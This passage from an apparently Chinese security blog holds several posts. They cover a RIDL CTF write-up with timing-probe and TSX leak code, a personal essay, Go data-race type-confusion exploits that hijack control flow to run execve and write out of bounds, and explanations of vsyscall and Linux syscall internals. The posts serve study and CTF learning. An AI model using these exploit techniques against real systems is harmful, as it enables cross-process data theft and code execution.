这道题题意很清楚,两个进程,一个进程里面内存里面有读到的flag,另一个进程相当于一个sandbox,只能执行write,read,exit,同时又给了一块很大的内存。题目名字也指向了ridl,肯定就要跨进程读取了。

再看一下含有flag的进程称之为受害者进程是不是有flag频繁存储,这是ridl攻击的前提。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned long readme;
char flag[25] = {0};
void victim() {
read_flag();
while (1) {
for (int i = 0; i < 10000000; i++) {
_mm_prefetch(&readme, _MM_HINT_NTA);
_mm_mfence();
_mm_clflush(&readme);
_mm_mfence();
}
int wstatus;
if(check(waitpid(-1, &wstatus, WNOHANG), "waitpid")) {
puts("child exited, bye!");
exit(0);
}
}
}
乍一看,似乎没有对flag的操作。但这里需要考虑cacheline的存在,给的chal二进制里面,readme的地址为0x40f0,flag的地址为0x40d0,做一个简单的计算0x40f0/64*64=0x40c0,flag是处于和readme一个cacheline里面的,这里其实有一个有意思的东西,就是cache 和地址对齐关系,编译器常常会把变量放到以4或者8对齐的地址上。比长度比较小的变量,就会尽可能放在一个cacheline里面,这里有这样一个小优化。

这里受害者进程通过循环prefetch和cflush是满足让flag所在的cacheline进过LFB,接下来就是构造ridl泄漏的具体过程。

  1. 确定给内存大小,256 * (4096/8)是满足字符到地址转换的256个cmdline条件的。
  2. 使用tsx来泄漏lfb,前面有一个重要的东西没有讲,就是rdtsc指令,可以用来计算其他指令的运行时间,同时由于out-of-order的存在,需要显式使用mfence来确定顺序,下面这段汇编就可以用来粗略的测量访存时间:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    int probe(char *adrs) {
    volatile unsigned long time;
    asm __volatile__ (
    " mfence\n"
    " lfence\n"
    " rdtsc\n"
    " lfence\n"
    " movl %%eax, %%esi \n"
    " movl (%1), %%eax\n"
    " lfence\n"
    " rdtsc\n"
    " subl %%esi, %%eax \n"
    " clflush 0(%1)\n"
    : "=a" (time)
    : "c" (adrs)
    : "%esi", "%edx");
    return (time < THRESHOLD);
    }
    因为时间周期比较短,不需要使用rdtsc返回指edx上时钟周期的高位(edx:eax)。threshold为cache访存阀值,一般为100.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (_xbegin() == _XBEGIN_STARTED) {
asm volatile(
"movzxb (%0),%%rbx\n\t"
"shl $0x9,%%rbx\n\t"
"add %1,%%rbx\n\t"
"mov (%%rbx),%%rbx\n\t"
:
: "r" (off), "r"(probe)
: "rbx");
_xend();
} else{
...
if (is_cached(probe + CACHELINE * i)) {
hist[i]++;
}
...
}

xbegin指令标志tsx的开始,probe为前面的probetable字符转换表,为什么这里使用tsx技术,tsx最大优势就是所有操作都在cacheline里面完成,且尽可能少的对LFB产生影响,同时tsx可以抑制page fault的产生,执行后备路径。注意指令相当于NULL指针引用,是从虚拟地址0-63的读操作。在后备路径里面测量访存周期,多次命中取最大值,输出字符。

3.4 思考

完成对整个流程的概述,现在可以解释为什么用“Sampling”,因为尽管可以泄漏目标数据,但是在realworld里面,先不讨论是否符合攻击的前提,LFB上数据应该是很斑驳的,就需要筛选,所以这里用“Sampling”这个词。

整个流程看完,其实也不知道LFB为什么会leak数据,不知道LFB内部的entry构造和相应的算法,但是这两个攻击,都是实实在在的通过做实验来确定漏洞点和影响条件。这一点非常值得学习,其实我到现在对TSX的实现还是有些模糊,还有一篇TAA(TSX Asynchronous Abort)攻击手法,值得一看,进一步去了解TSX的实现。

4. 小结

以上的内容其实很多我自己的猜测和思考,我不是专业弄这个方面的,所以可能存在很多错误,google的题质量还是可以,做一道题要看几篇论文,从一无所知到了解里面的原理,这样我感觉才有意思,很有价值。最重要的是帮我消除了这几天的无聊和身在湖北的不安 )

相关资料

  • https://mdsattacks.com/files/ridl.pdf RIDL: Rogue In-Flight Data Load
  • https://zombieloadattack.com/zombieload.pdf ZombieLoad: Cross-Privilege-Boundary Data Sampling
  • https://software.intel.com/sites/default/files/managed/9e/bc/64-ia-32-architectures-optimization-manual.pdf 64-ia-32-architectures-optimization-manual
  • https://arstechnica.com/gadgets/2019/05/new-speculative-execution-bug-leaks-data-from-intel-chips-internal-buffers/
  • https://xz.aliyun.com/t/6332 深入Spectre V2——跨进程泄露敏感信息
  • https://mdsattacks.com/

证明与猜想

这一年真快。这一年是现实和梦想交织的一年,感触很多,也只能自己细细品尝。

这一年听的最多歌还是周杰伦的歌,他的歌可轻可重,可缓可急,在我脑海俨然已经是一首歌一幅画了。

昨天12点刚过又听到了那首《黄昏》,突然间把我的记忆拉回了高中,午休结束的时候,广播都会放一首歌,有三首歌我印象最深刻,《城外的月光》,《盛夏的果实》,《黄昏》,每次听到这三首歌,我都能感觉我回到了高中的日子,那天午休刚起,广播还是往常播放着往常的《黄昏》,意识模糊,大多数人都还没有睡醒,小心的推开教室的门,站在阳台望着窗外,天很阴沉,刚下过雨,太阳半掩,有一些微光透过云层。那个年纪有太多的无奈,但只能那样。而《黄昏》这首歌却在不知不觉间成了高中的一个符号,而那句“过完整个夏天 忧伤并没有好一些”,又把我拉回了大三的暑假…

大三的暑假,是我经历中最热的一个夏天,没有空调,寝室电扇坏了,蚊子无处不在,但是还好有一个小风扇陪我度过了整个夏天,由于实习我并没有回家,与其说实习不如是混日子,那天下班回学校,路过的那座桥,我看见最美的傍晚,淡蓝色的天边,有一种说不出来的感受,手机却也意外没电,没办法记录那一刻。

暑假当中,我感冒了,却一直没有好转的迹象,什么也没做,却发现自己很累,我知道这不是身体问题,我把这段日子称为黑暗期,可能那时候想回家散散心吧。

还有那首《思念是一种病》,大一初识,却一直听到了现在,我感觉是我能完整唱完一首歌,感觉还不错的一首歌,它所对应的一副画是“当你在穿山越岭的另一边 我在孤独的路上没有尽头”…

依稀记得一年前,写的那篇《边界与漫想》,我说我一直在追寻自己的“边界”,在几个月前我看见了一首诗”落月随山隐,山随月落隐。“,刚开始我难想象这是如何奇妙的心境,我脑海里面一直有一副画,我是一只猴子,我坐在一座山的山顶,远处是比脚下更高的山,一轮圆月挂在比它更高的地方,月随着它自己的轨迹慢慢的落下,最后隐匿在了山的背后,而山的轮廓也随着月光的消逝,也变得隐约起来,最后隐于暗处。

而我是一只猴子,我想看看月亮去哪了,那座更高的山后面到底有什么?于是我下山,想去远处那座山,当我爬到远处那座山顶以后,面前还是群山矗立,有更高的山,也有矮一些的山,又是一轮圆月的晚上, 可月亮也不再它的后面,而是在更远的地方。

这是我脑子一直有的一副画,我对边界又一次产生了疑惑,视乎边界和月亮一样,它其实一直都你能看到的地方,只是它永远和你一定的距离。于是我不在去思考边界,它其实一直都在,不管我翻越了多少座山,它都在我能看得到的地方。

这一年有很多感动,有很多收获,不久前去了长亭,大学时候只能仰望的偶像,现在却可以和他一起畅谈,我觉得我成长了很多,但是比及这些师傅,还差的远。

回到题目的中心,《猜想与证明》,这是我在学习工作中逐渐意识到的一种有趣的解决问题的方式,在看比较巧妙的漏洞时候,在以前我常常感叹于他的利用方法,而逐渐感兴趣的点,在发生偏移,而是在于它的作者,是怎么样发现它,这前后似乎没有丝毫的逻辑,不可能对一个庞大的系统去一点点的看。

其实这一切来自于巧妙的fuzz,我称之为猜想。可能一个小小的crash,我再去探究其背后的东西,可能就会发现有意思的地方。

有一种计算矩阵乘法的算法叫strassen算法,我曾一度想去证明它,最开始把他扩展到几何图形,而后又把它扩展成三维空间,想以此来求解的时候,我看见了一个视频,里面说strassen算法并不是通过逻辑推出来的,而是通过穷举,找到一种方法,戏称如果你能找到方法推出来,就可以写一篇论文了,哈哈。

与此紧密结合在一起比如用代入法求解递归式,首先你要做的事就是猜结果,然后再去证明它。如何去猜,不仅需要你有很敏锐的直觉,还有一定创造力,并不存在一种通用的方法。当然也是存在一些方法,是可以做为启示的。

渐渐的猜想与证明的这种想法就开始在我心里疯狂生长,并不是任何事物我们都可以通过严格的逻辑推理来得出结构。这也和我想做fuzz的想法不谋而合。

如果一个事物,在某个时间段有一定的规律,我觉得应该去尝试归纳,至少这是一种方法,如果你还能证明一些特殊的状态保持,也许结果正如你期望的那样。

2020我可能会把所有的时间都放在猜想这样一件事上,至于证明,只要我的猜想引发了一些变化,我就可以通过这些变化去证明我的猜想,然后再进行略微的调整。猜想与证明是紧密结合在一起的。

那么我现在假设一个猜想在心里,我想等到2021来再去证明!

pwning-with-golang

0x00 引

在接触go以来,我一直认为go是一门相对来说比较“安全”的语言,至少我没有看见它像php一样,底层的CVE满天飞,同样底层都是用c实现的,而且相当于c来说,go不用考虑数组越界,不用考虑内存的分配释放,用户无法直接像c一样操作内存,所以我一度认为它是内存安全的。因为无法直接操作内存,似乎也无法通过某种方法劫持它的PC。

go是一门静态语言,不同类型直接是无法做到直接相互转换的,但是这里有一个例外--interface,它应该算是go里面最大的特色之一,理论上的duck typing,任何类型都是可以直接转换为interface。它也是一个静态类型,只是里面内容是运行时确定的。

基础静态类型var A interface{}和带方法的type A interface {},内部实现又是不太一样的。

因为google ctf final 2019里面的一道gomium让我重新认识了go,原来是可以通过某种方式去打破go所维护的安全机制。所以有了此文,此文用于记录如何通过unsafe包来操作内存和竞争来劫持程序流。

0x01 unsafe package

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import "unsafe"

type Mem struct {
addr *uintptr // actually == &m.data!
data *uintptr
}

// Peek reads and returns the word at address addr.
func (m *Mem) Peek(addr uintptr) uintptr {
*m.addr = addr
return *m.data
}

// Poke sets the word at address addr to val.
func (m *Mem) Poke(addr, val uintptr) {
*m.addr = addr
*m.data = val
}

func NewMem() *Mem {
m := new(Mem)
m.addr = (*uintptr)(unsafe.Pointer(&m.data))
return m
}

这个Mem结构很巧妙,其中有两个字段,Mem.addr记录是Mem.data的地址即&Mem.data. 它能接受一个整型变量,并把这个整型变量转换为一个整型指针,这个整型指针的值与整型变量的值一样,其中指针类型大小取决于操作系统平台,即uintptr大小。

其中对应读写的两个操作是通过写Mem.addr的值来读*Mem.data的值或者写*Mem.data来完成任意读写内存的操作。

unsafe.Pointer在这里的意义是能返回任何一个指向任意类型的指针。在这里相当于把 **uintptr转换为了*uintptr.这是任意读写的最本质的问题所在。

0x02 data race

如果说unsafe是go给的一个特殊机制,赋予了用户读写内存的机会。如果说现在有一个sandbox,禁用了所有存在威胁package,以白名单的形式,这种情况下,是否有机会完成上述操作呢?data race就是在违背go设计机制的情况,用不同goroutine同时操作slice和interface的一种方式。

整型,浮点型,数组这种基础类型,其实比较好理解,那么比如切片,字符串,map,interface怎么去理解呢?

1
2
3
4
5
struct slice{
byte* array;
uintgo len;
uintgo cap;
}
可以看到切片实际底层还是指向的一个数组,但是只是引用了数组其中的一部分,len代表引用的长度,而cap代表这个数组长度,保证slice在引用的时候不会out of index。
1
2
3
4
5
6
7
8
9
10
11
struct interface {
Itab* tab
void* data //实际储存的数据
}

struct Itab {
InterfaceType* inter// 接口定义的方法列表
Type* type //实际存储的结构类型
longlong[3] interdata
void (*fun[])(void);//实际存储结构方法列表
}
这里结构指的是带方法的interface结构,并不是空接口类型。注意这一点 可以看到实际上slice和interface并不是一个c语言里面基础类型,而是一个结构,所以这里面有一点是必须注意到的,他们在初始化或者赋值的时候,从更底层汇编的角度来说,这个过程是一串指令而不是单独一个指令,即对他们的读写操作并不是一个原子操作。

那么在并发操作的时候就可能存在一些问题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
type confuse interface {
x(num uint64, cmd uint64, args uint64, env uint64)
}

type safe struct {
i *uint64
}

type unsafe struct {
f func(num uint64, cmd uint64, args uint64, env uint64)
}

func (t safe) x(num uint64, cmd uint64, args uint64, env uint64) {
return
}

func (t unsafe) x(num uint64, cmd uint64, args uint64, env uint64) {
if t.f != nil {
//fmt.Println(t.f)
t.f(num, cmd, args, env)
}
}

func test(num uint64, cmd uint64, args uint64, env uint64) {
fmt.Println(num)
fmt.Println(cmd)
fmt.Println(args)
fmt.Println(env)
}

func main() {
var i int=0
///usr/bin/gnome-calculator
cmd := [30]byte{47, 117, 115, 114, 47, 98, 105, 110, 47, 103, 110, 111, 109, 101, 45, 99, 97, 108, 99, 117, 108, 97, 116, 111, 114}
//DISPLAY=:1
display := [20]byte{68, 73, 83, 80, 76, 65, 89, 61, 58, 49}
var args [2]uint64
args[0] = address(&cmd)
var envs [2]uint64
envs[0] = address(&display)
var con confuse
adr_execve := address(test)
adr_cmd := address(&cmd)
type_safe := &safe{i: &adr_execve}
type_unsafe := &unsafe{}
con = type_safe
go func() {
for {
i++
con = type_unsafe
func() {
if i < 0 {
fmt.Println("maplesss")
}
return
}()
con = type_safe
}
}()

for {
con.x(uint64(59), adr_cmd, address(&args), address(&envs))
}
}
这一段代码最重要的核心在于
1
2
3
4
5
6
go1 :
con = type_unsafe
con = type_safe

go2 :
con.x(uint64(59), adr_cmd, address(&args), address(&envs))
上述两个goroutine,go1在不断交替给con赋值不同结构,赋值过程是一串指令,相当于con的更新过程,对应着修改底层所对应的interface结构里面的字段。go2却在不断调用con定义的方法,这两个过程是并发进行。这里面就会出现一个问题。

con所指向的interface里面最重要的是实际保存结构的值和实际结构所定义的方法。那么就可能出现一个过程,现在数据值变化了,保存对应方法的函数列表指针还没来的及更新,那可能导致context和对应的方法不一样。上面就可能出现用着safe的数据,调用确实unsafe的方法。如果unsafe里面字段是一个func类型,那么这样就相当于伪造出一个指向任意地址的函数指针,也就是我们常说一种类型混淆漏洞。

go里面是默认编译是忽略aslr的,当你编译一个go的普通二进制,在其符号表里面是可以看到默认是有syscall调用代码片段,并且我们能不用考虑aslr,直接用它。

在早期go里面,定义的全局变量,编译完成之后是放在text里面的,即是有执行权限的。这非常有趣。

上面我们通过竞争劫持pc,然后用基础类型来控制传参,go普通函数调用和c是一样的,所以用基础类型能完成一切,而方法调用是一种语法糖衣,函数的一个参数是方法所对应的结构本身。

安装上面的思路slice的赋值也不是原子操作,所以也可能存在问题:

1
2
3
4
5
6
7
8
9
short := make([]int, 1)
long := make([]int, 2)
confuse := short

go1 :
confuse = long
confuse = short
go2 :
confuse[1] = 0xfffffff
在更新confuse的时候底层数组的指向变了,而cap的值还没有来得及更新。就可以oob写了

还有一段有意思的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
type Mem struct {
addr *uintptr // actually == &m.data!
data *uintptr
}

func NewMem() *Mem {
fmt.Println("here we go!")
m := new(Mem)
var i, j, k interface{}
i = (*uintptr)(nil)
j = &m.data

// Try over and over again until we win the race.
done := false
go func(){
for !done {
k = i
k = j
}
}()
for {
// Is k a non-nil *uintptr? If so, we got it.
if p, ok := k.(*uintptr); ok && p != nil {
m.addr = p
done = true
break
}
}
return m
}
这段代码也很巧妙的不利用unsafe包的情况下把 **uintptr 转换成了*uintptr

end

go原来这么有趣,这都是以前没有想过的思考面。所以记录下来。 下面一篇文章里面提出了一种修复的方式。造成data race的本质是更新interface使得老数据和新数据混杂了在一起。通过修改底层的interface结构,是其只有一个指针,执行上面红色方格的结构,当修改的时候,直接修改interface里面的指针,保证红色方框里面的结构不改变,但是代价是需要维护这样一个红色方框结构的列表。在如今的go里面上述方法同样试用,即并没有采用这种方法。

link

https://research.swtch.com/gorace https://blog.stalkr.net/2015/04/golang-data-races-to-break-memory-safety.html https://github.com/google/google-ctf/tree/master/2019/finals/pwn-gomium

vsyscall 到底应该怎么用?

syscall 前面加个V,v是virtual的意思,顾名思义,把syscall放在一个特殊的地方,而这个位置是一个比较特殊的虚拟地址区域,简称fixed-map.

PIE保护详解和常用bypass手段 一文中提到了用vsyscall来当ret gadget,可以用来跳栈,因为vsyscall的位置是固定的,可以在/root/linux/Documentation/x86/x86_64/mm.txt找到它的位置:

1
ffffffffff600000 - ffffffffff600fff (=4 kB) legacy vsyscall ABI

可以看到这其实一个已经被废弃的ABI. 在上述文章评论有一些疑惑,跳到vsyscall上去执行相关系统调用的时候,还是出错了,文中也提到了只能跳到syscall起始的位置才能执行不出错。这是为什么呢?

在 linux inside 一书中的linux-syscall-3.html 的章节已经阐述的很清楚了。我再给它搬一遍

vsyscall是一个预先设定好的地址,就是上面的说的fixed-map,当然只能保证这个位置不被其他过程占用,这个地址里面是否存在相应的syscall,取决于一个参数vsyscall_mode

vsyscall的设定有三种模式:

  • native
  • emulate
  • none

最后一个模式好说,不专门去为每个用户态的进程里面映射vsyscall的区域。前两种模式的最大的区别在于,vsyscall的这个内存区域的属性。

1
2
#define __PAGE_KERNEL_VSYSCALL  (__PAGE_KERNEL_RX | _PAGE_USER)
#define __PAGE_KERNEL_VVAR (__PAGE_KERNEL_RO | _PAGE_USER)

第一个宏对应着native ,第二宏对应着emulate,可以看到他们都是内核和用户都可以访问的区域,但是第一个允许页执行。这也就对应了不同模式。

native下就可以直接在vsyscall区域上执行syscall,syscall过程不在这里阐述,可以看看我前一篇总结。

而在emulate下这个时候是不允许去执行,这个时候就会引发page fault,内核在处理page fault的时候,其中有一步会去判断这个地址是不是属于vsyscall ,可能就需要做额外的操作:

1
2
3
4
5
if (unlikely((error_code & X86_PF_INSTR) &&
((address & ~0xfff) == VSYSCALL_ADDR))) {
if (emulate_vsyscall(regs, address))
return;
}

regs是一个pt_reg结构保存着发生page fault的时候当时的寄存器状态。所以这个emulate 模式的具体实现 ,其实在emulate_vsyscall这个函数里面

这个函数做了下面几件事:

  • vsyscall_mode 是否为emulate
  • addr_to_vsyscall_nr(address),这是一个从地址映射到系统调用号的过程,因为syscall调用起始地址都是1024对齐的。所以编号可以很容易的 >>12,编号从0开始。
  • 判断系统调用号是否正确
  • 判断系统调用过程中传递的参数地址是否可以访问和写。例如其中的gettimeofday调用过程,需要传递2个参数timevaltimezone,根据C ABI规则,需要验证rdirsi这两个地址是否可以访问。
  • 完成系统调用返回结果
  • 错误处理,返回SIGSEGV

因为第二步的映射过程,所以我们必须要跳到syscall的起始,由于在还需要验证参数的合法性,所以在用vsyscall的时候,还要取决于rdi,rsi这些寄存器里面的值合法性的问题,就是能不能写的问题。

思考

这可能也就是上面文章评论下面出现的问题。vsyscall已近乎被废弃,被vdso替代,其实也很难去利用。但是vsyscall地址是固定的,但是vdso相当于动态加载库,那glibc是怎么实现调用里面函数的呢? 很简单,先在glibc里面定义一个,把它设置为弱符号函数,在vdso加载时候gettimeofday也就重新定义了。

1
2
3
4
5
6
7
8
9
int
__gettimeofday (struct timeval *tv, struct timezone *tz)
{
__set_errno (ENOSYS);
return -1;
}
libc_hidden_def (__gettimeofday)
weak_alias (__gettimeofday, gettimeofday)
libc_hidden_weak (gettimeofday)

linux-kernel-syscall-inside

小菜

当我们在用户层写应用的时候,如果我们锁定一段代码或者更具体一个函数,当我们以递归的方式去研究这个函数的时候,函数栈到头了,最后的代码肯定是一段汇编或者一个syscall即系统调用,一般到这,我们就应该停止了,这样看起来操作系统给我印象永远是一个黑匣子。它干了啥我不知道,但是我如果遵循的它的规则,我总能得到我想要的。

其实这对于写应用的人来说是幸运的。我曾经去读linux代码遇到的最大困难也和这个类似,在用户态看到汇编我就停了,而linux里面的宏居多,函数递归调用更深,还有不同处理器的分支。如果我遵循在用户态开始的想法,读代码的进度会奇慢,甚至低效。

后来买了linux 4 amd64的一本书,在书中我找到了答案,刚开始最重要的是,理解数据结构和数据结构的关系,函数间的调用关系,不要过分探究函数具体实现。若有兴趣,再往下。

syscall到底干了啥?

有很多不同系统调用,比如open,write,read,exit 等等,把操作系统想象成第一个启动的进程,而操作系统能直接操作硬件,把操作系统想象成一个巨大的虚拟机,我们的应用在其基础上来运行,我们应用也需要IO操作,内存操作,网络操作,但是操作系统把硬件和我们的应用完全隔离开来了,所以这个时候操作系统需要给应用相关的接口。

但是这个接口并不是用户态的函数,他还是内核态的过程(下面都用内核来描述操作系统)。当用户态需要调用内核的接口的时候,这个时候就需要告诉内核,我要做一些操作,处理器就可以把当前的用户进程执行切换到内核态,ok在内核态了,现在这些系统调用对应的内核过程可以执行了。

所以syscall就是一个用户态和内核态切换的过程,从r3 切换到r0去执行一些过程。除了系统调用会切换到内核态,那么还有什么过程会呢?还有一个错误发生的时候,比如除0,或者读非法地址。其实这些过程可以统称为两个过程:

  • expection handler
  • interrupt handler

系统调用过程就可以归纳于interrupt handler,这里面还有一些东西,需要理清楚: - 用户应用发起系统调用,需要传递一些参数,这些参数如何传递给内核? - 处理器是怎么从用户态切换到内核态上的?

首先解决第一个问题,这个问题的答案可以在不同arch分支下syscall_entry找到,例如x86_x64下的/arch/x86/entry/entry_64.S

1
2
3
4
5
6
7
8
9
10
11
* Registers on entry:
* rax system call number
* rcx return address
* r11 saved rflags (note: r11 is callee-clobbered register in C ABI)
* rdi arg0
* rsi arg1
* rdx arg2
* r10 arg3 (needs to be moved to rcx to conform to C ABI)
* r8 arg4
* r9 arg5
* (note: r12-r15, rbp, rbx are callee-preserved in C ABI)
可以看到不同寄存器分别保存一些值,这里调几个具体讲: * rax 系统调用号 * rcx 为什么要用它来保存用户态返回地址呢? 对应系统调用返回指令 sysretq * rcx被上面用掉了,但是rcx在C ABI中是函数调用过程中的参数值保存的地方,被用掉了这里只能先用r10来保存arg3,之后为了对应C ABI,因为linux kernel也是c写的,需要把r10的值放到rcx中。

其他就不用说了,注释写的都很详细。再看第二个问题,处理器是怎么切换到r0内核态的,直接看syscall这个指令的作用:

SYSCALL invokes an OS system-call handler at privilege level 0. It does so by loading RIP from the IA32_LSTAR MSR (after saving the address of the instruction following SYSCALL into RCX). (The WRMSR instruction ensures that the IA32_LSTAR MSR always contain a canonical address.)

SYSCALL also saves RFLAGS into R11 and then masks RFLAGS using the IA32_FMASK MSR (MSR address C0000084H); specifically, the processor clears in RFLAGS every bit corresponding to a bit that is set in the IA32_FMASK MSR.

SYSCALL loads the CS and SS selectors with values derived from bits 47:32 of the IA32_STAR MSR. However, the CS and SS descriptor caches are not loaded from the descriptors (in GDT or LDT) referenced by those selectors. Instead, the descriptor caches are loaded with fixed values. See the Operation section for details. It is the responsibility of OS software to ensure that the descriptors (in GDT or LDT) referenced by those selector values correspond to the fixed values loaded into the descriptor caches; the SYSCALL instruction does not ensure this correspondence.

浓缩一下:

  • RCX ← RIP;
  • RIP ← IA32_LSTAR;
  • R11 ← RFLAGS;
  • RFLAGS ← RFLAGS AND NOT(IA32_FMASK);
  • CS.Selector ← IA32_STAR[47:32] AND FFFCH
  • SS.Selector ← IA32_STAR[47:32] + 8;

其中IA32_LSTARSh和IA32_STAR都是MSR(model special register),分别保存了系统调用的入口点和内核态的CS和SS。可以看到这一步没有涉及到切栈,那么把栈切到内核栈这个过程发生在系统调用的入口点里面。

系统调用入口点

linux kernel的系统调用点过程是用汇编写的,具体就x86_x64来看:

1
2
3
4
ENTRY(entry_SYSCALL_64)
swapgs
movq %rsp, PER_CPU_VAR(rsp_scratch)
movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp
这是第一步,上面说了syscall并不能切栈,那么在entry_syscall_64第一步就是切栈,swapgs=>GS.base ← IA32_KERNEL_GS_BASE;,这一步把GS换成了内核态的GS,内核GS是pre_cpu结构的段地址,里面保存着和每个处理器核心相关结构,这个结构里面就有需要栈地址,对应了紧接着的两步movq,这就完成了栈的切换。

接下来就是保存此时用户态的各个寄存器的状态:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pushq $__USER_DS /* pt_regs->ss */
pushq PER_CPU_VAR(rsp_scratch) /* pt_regs->sp */
pushq %r11 /* pt_regs->flags */
pushq $__USER_CS /* pt_regs->cs */
pushq %rcx /* pt_regs->ip */
pushq %rax /* pt_regs->orig_ax */
pushq %rdi /* pt_regs->di */
pushq %rsi /* pt_regs->si */
pushq %rdx /* pt_regs->dx */
pushq %rcx /* pt_regs->cx */
pushq $-ENOSYS /* pt_regs->ax */
pushq %r8 /* pt_regs->r8 */
pushq %r9 /* pt_regs->r9 */
pushq %r10 /* pt_regs->r10 */
pushq %r11 /* pt_regs->r11 */
sub $(6*8), %rsp /* pt_regs->bp, bx, r12-15 not saved */
对应着一个栈上的结构pt_regs,接下来就是根据rax传递进来的具体系统调用号去找对应的调用过程:
1
call	*sys_call_table(, %rax, 8)

这个sys_call_table相当于是一张系统调用表:

1
2
3
4
asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {
[0 ... __NR_syscall_max] = &sys_ni_syscall,
#include <asm/syscalls_64.h>
};
其中syscalls_64.h是编译过程中产生的如下:
1
2
3
4
5
6
7
8
#define __SYSCALL_COMMON(nr, sym, compat) __SYSCALL_64(nr, sym, compat)
#define __SYSCALL_64(nr, sym, compat) [nr] = sym,

__SYSCALL_COMMON(0, sys_read, sys_read)
__SYSCALL_COMMON(1, sys_write, sys_write)
__SYSCALL_COMMON(2, sys_open, sys_open)
__SYSCALL_COMMON(3, sys_close, sys_close)
__SYSCALL_COMMON(5, sys_newfstat, sys_newfstat)
最终syscall_table就如下:
1
2
3
4
5
6
7
8
9
asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {
[0 ... __NR_syscall_max] = &sys_ni_syscall,
[0] = sys_read,
[1] = sys_write,
[2] = sys_open,
...
...
...
};
sys_read, sys_write这些函数的定义如何而来:
1
2
3
4
5
6
7
8
9
10
11
#define SYSCALL_DEFINE3(name, ...) SYSCALL_DEFINEx(3, _##name, __VA_ARGS__)

#define SYSCALL_DEFINEx(x, sname, ...) \
SYSCALL_METADATA(sname, x, __VA_ARGS__) \
__SYSCALL_DEFINEx(x, sname, __VA_ARGS__)

SYSCALL_DEFINE3(write, unsigned int, fd, const char __user *, buf,
size_t, count)
{
...
}
最后的效果如下:
1
asmlinkage long sys_write(unsigned int fd, const char __user * buf, size_t count);

need to know

  • CVE-2009-0029 这个CVE可以看看。
  • #define __NR_syscall_max 非固定编译时候产生的
  • 系统调用过程中x32的兼容模式处理可以注意下。
  • syscall_entry 中存在的debug 和 trace 过程可以去细究,比如trace可能就是seccomp的实现过程。
  • 除了sysret可以返回 iret也可以返回,返回处理有一定区别!

资料